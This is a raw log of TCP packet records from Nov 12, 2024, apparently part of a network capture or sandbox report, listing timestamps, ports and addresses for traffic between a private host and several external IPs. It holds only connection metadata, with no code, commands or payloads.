Nov 12, 2024 13:35:35.189105034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.189127922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.189146996 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.205591917 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.205615044 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.205648899 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.205663919 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.205677986 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.205709934 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.219449997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219494104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219506025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219547033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.219547033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.219731092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219742060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219752073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219764948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.219782114 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.219835997 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.220117092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220129967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220169067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.220242023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220252991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220305920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.220328093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220340014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220350027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220361948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220372915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220388889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.220402002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.220422983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.220963955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.220974922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221009016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.221168041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221179962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221245050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.221245050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.221308947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221319914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221349955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221360922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221371889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221400023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.221400023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.221467018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.221761942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.221863985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.260473013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.260520935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.260574102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.260574102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.266503096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.266565084 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.266568899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.266581059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.266629934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.303252935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.303323030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.303325891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.303334951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.303374052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.303422928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.306616068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.306684971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.306696892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.306713104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.306735992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.306833982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.306845903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.306951046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.322280884 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.322303057 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.322349072 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.322359085 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.322387934 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.322407961 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.336899042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.336942911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.336955070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.336956024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.336991072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337151051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337162018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337213993 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337286949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337299109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337356091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337466955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337522984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337578058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337589025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337600946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337611914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337627888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337668896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337867022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337953091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.337963104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337979078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.337990046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338001013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338011980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338033915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.338033915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.338064909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.338337898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338459015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338470936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338531017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.338658094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338669062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338680983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338700056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.338745117 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.338959932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338972092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.338982105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.339013100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.339062929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.383172989 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.383193016 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.383260965 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.383275986 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.383320093 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.384365082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.384427071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.384450912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.384457111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.384515047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.384618044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.384629965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.384689093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.421390057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.421405077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.421416044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.421473980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.421874046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.424149036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.424227953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.424241066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.424355984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.424391985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.424420118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.424474001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.424474001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.440886974 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.440912962 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.441030979 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.441030979 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.441046953 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.441138029 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.454416990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454443932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454462051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454514027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454539061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.454539061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.454582930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454631090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.454658985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454669952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454685926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454698086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454705000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.454787016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.454869032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454881907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454893112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.454916954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455020905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455024958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455161095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455173016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455183983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455209017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455372095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455384970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455395937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455405951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455411911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455430984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455672979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455715895 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455734968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455745935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455760002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.455894947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.455905914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.456165075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.532232046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.537054062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.540465117 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.541558027 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.541558027 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.541609049 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.541640043 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.552684069 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.553626060 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.553626060 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.553647041 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.553657055 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.558156967 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.558176041 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.558378935 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.558388948 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.559273958 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.559478045 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:35.559525967 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:35.560713053 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:35.560965061 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:35.560987949 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:35.580800056 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.581831932 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.581832886 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.581865072 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.581897020 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.601175070 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.602226019 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.602226019 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.602246046 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.602253914 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.618657112 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.618678093 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.618762016 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.618782043 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.618868113 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.659723997 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.660250902 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.660279036 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.660711050 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.660717010 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.671128988 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.671231985 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.671268940 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.671300888 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.671422958 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.671452045 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.671452045 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.671472073 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.671487093 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.674169064 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.674220085 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.674372911 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.674459934 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.674468040 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.674619913 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.674638033 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.674958944 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.674977064 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.675290108 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.683358908 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.683799028 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.684171915 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.685233116 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.685256958 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.685286045 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.685293913 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.690334082 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.690377951 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.694389105 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.694611073 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.694629908 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945374012 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945446014 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945487022 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945513964 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945559978 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945590973 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.945741892 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.945755959 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.945774078 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.945774078 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.945775986 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945791006 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.945801020 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.946024895 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.946034908 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.946062088 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.946063042 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.946095943 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.946115971 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.946120024 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.946177006 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.946177006 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.946237087 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.946465969 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.946470022 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.946497917 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.946502924 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.946882963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.946896076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.946901083 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.946913958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.946926117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.946937084 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.946947098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.946986914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.946989059 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.946994066 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.947029114 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.947033882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.947050095 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.947716951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947730064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947741032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947748899 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.947756052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947767973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947777987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.947779894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947792053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947803974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947824001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.947830915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.947830915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.947864056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.947992086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.948941946 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.948959112 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.954720974 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.954739094 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.956940889 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.956948996 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.956954956 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.956995964 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.957020044 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.957060099 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.957063913 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.957281113 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.957293034 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.957473040 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.957473993 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:35.957484007 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.957484961 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:35.966375113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966437101 CET	80	51556	185.215.113.206	192.168.2.6
